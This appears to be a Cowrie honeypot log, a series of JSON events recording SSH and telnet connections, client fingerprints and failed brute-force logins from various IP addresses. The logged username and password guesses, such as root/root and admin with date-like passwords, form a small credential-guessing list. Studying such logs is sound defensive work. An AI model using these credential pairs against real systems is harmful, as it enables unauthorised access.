{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:27:14.463364Z","src_ip":"103.122.221.179","session":"d9cf11abbeca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":48208,"dst_ip":"159.203.135.109","dst_port":22,"session":"eadefbe58410","protocol":"ssh","message":"New connection: 80.94.92.184:48208 (159.203.135.109:22) [session: eadefbe58410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:27:16.170325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:27:16.447708Z","src_ip":"80.94.92.184","session":"eadefbe58410","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:27:16.452262Z","src_ip":"80.94.92.184","session":"eadefbe58410","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:27:17.185413Z","src_ip":"80.94.92.184","session":"eadefbe58410","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:27:18.305065Z","src_ip":"80.94.92.184","session":"eadefbe58410","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":28440,"dst_ip":"159.203.135.109","dst_port":22,"session":"7460aa9dd30d","protocol":"ssh","message":"New connection: 38.93.206.2:28440 (159.203.135.109:22) [session: 7460aa9dd30d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:28:10.916724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:28:10.921509Z","src_ip":"38.93.206.2","session":"7460aa9dd30d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:28:10.972380Z","src_ip":"38.93.206.2","session":"7460aa9dd30d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"magic","message":"login attempt [root/magic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:28:11.132644Z","src_ip":"38.93.206.2","session":"7460aa9dd30d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:28:12.214242Z","src_ip":"38.93.206.2","session":"7460aa9dd30d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":48636,"dst_ip":"10.17.0.5","dst_port":22,"session":"81136c1fc205","protocol":"ssh","message":"New connection: 103.183.114.55:48636 (10.17.0.5:22) [session: 81136c1fc205]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:28:42.768050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:28:42.772847Z","src_ip":"103.183.114.55","session":"81136c1fc205","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:28:42.995075Z","src_ip":"103.183.114.55","session":"81136c1fc205","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"060606","message":"login attempt [root/060606] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:28:43.661624Z","src_ip":"103.183.114.55","session":"81136c1fc205","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:28:44.885812Z","src_ip":"103.183.114.55","session":"81136c1fc205","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":5131,"dst_ip":"10.17.0.5","dst_port":22,"session":"94bebec7c70d","protocol":"ssh","message":"New connection: 2.57.121.112:5131 (10.17.0.5:22) [session: 94bebec7c70d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:28:54.298024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:28:54.303181Z","src_ip":"2.57.121.112","session":"94bebec7c70d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:28:54.404748Z","src_ip":"2.57.121.112","session":"94bebec7c70d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"30061972","message":"login attempt [admin/30061972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:28:54.887390Z","src_ip":"2.57.121.112","session":"94bebec7c70d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"300595","message":"login attempt [admin/300595] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:28:55.996719Z","src_ip":"2.57.121.112","session":"94bebec7c70d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"300481","message":"login attempt [admin/300481] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:28:57.103195Z","src_ip":"2.57.121.112","session":"94bebec7c70d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":44556,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f232ec9ac02","protocol":"ssh","message":"New connection: 62.133.62.83:44556 (10.17.0.5:22) [session: 3f232ec9ac02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:28:57.300060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:28:57.305043Z","src_ip":"62.133.62.83","session":"3f232ec9ac02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:28:57.386260Z","src_ip":"62.133.62.83","session":"3f232ec9ac02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lfiekz","message":"login attempt [root/lfiekz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:28:57.639894Z","src_ip":"62.133.62.83","session":"3f232ec9ac02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"30041997","message":"login attempt [admin/30041997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:28:58.226913Z","src_ip":"2.57.121.112","session":"94bebec7c70d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:28:58.721583Z","src_ip":"62.133.62.83","session":"3f232ec9ac02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":55876,"dst_ip":"10.17.0.5","dst_port":22,"session":"f420c3b9d4a9","protocol":"ssh","message":"New connection: 194.113.233.25:55876 (10.17.0.5:22) [session: f420c3b9d4a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:28:59.201912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:28:59.207318Z","src_ip":"194.113.233.25","session":"f420c3b9d4a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:28:59.302417Z","src_ip":"194.113.233.25","session":"f420c3b9d4a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"30041996","message":"login attempt [admin/30041996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:28:59.330682Z","src_ip":"2.57.121.112","session":"94bebec7c70d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"reebok","message":"login attempt [root/reebok] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:28:59.625491Z","src_ip":"194.113.233.25","session":"f420c3b9d4a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:29:00.443687Z","src_ip":"2.57.121.112","session":"94bebec7c70d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:29:00.717416Z","src_ip":"194.113.233.25","session":"f420c3b9d4a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50952,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ef36d6b6aaf","protocol":"telnet","message":"New connection: 192.119.13.58:50952 (10.17.0.5:23) [session: 2ef36d6b6aaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:29:13.235967Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":34634,"dst_ip":"10.17.0.5","dst_port":22,"session":"e015334bccea","protocol":"ssh","message":"New connection: 89.223.69.22:34634 (10.17.0.5:22) [session: e015334bccea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:29:22.473931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:29:22.479287Z","src_ip":"89.223.69.22","session":"e015334bccea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:29:22.594629Z","src_ip":"89.223.69.22","session":"e015334bccea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:29:22.941657Z","src_ip":"89.223.69.22","session":"e015334bccea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:29:24.062682Z","src_ip":"89.223.69.22","session":"e015334bccea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":49430,"dst_ip":"10.17.0.5","dst_port":23,"session":"f60809f95b2f","protocol":"telnet","message":"New connection: 176.65.139.121:49430 (10.17.0.5:23) [session: f60809f95b2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:29:40.188712Z"}
{"eventid":"cowrie.session.closed","duration":1.2439839839935303,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:29:41.432576Z","src_ip":"176.65.139.121","session":"f60809f95b2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":49440,"dst_ip":"10.17.0.5","dst_port":23,"session":"3375eac00593","protocol":"telnet","message":"New connection: 176.65.139.121:49440 (10.17.0.5:23) [session: 3375eac00593]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:29:41.511675Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"","message":"login attempt [root/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:29:42.668090Z","src_ip":"176.65.139.121","session":"3375eac00593","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.1711983680725098,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:29:43.682782Z","src_ip":"176.65.139.121","session":"3375eac00593","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":49446,"dst_ip":"10.17.0.5","dst_port":23,"session":"62bf6ce70822","protocol":"telnet","message":"New connection: 176.65.139.121:49446 (10.17.0.5:23) [session: 62bf6ce70822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:29:43.791080Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:29:44.544867Z","src_ip":"176.65.139.121","session":"62bf6ce70822","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.802825927734375,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:29:45.593684Z","src_ip":"176.65.139.121","session":"62bf6ce70822","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":49454,"dst_ip":"10.17.0.5","dst_port":23,"session":"f479c55c6112","protocol":"telnet","message":"New connection: 176.65.139.121:49454 (10.17.0.5:23) [session: f479c55c6112]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:29:45.674129Z"}
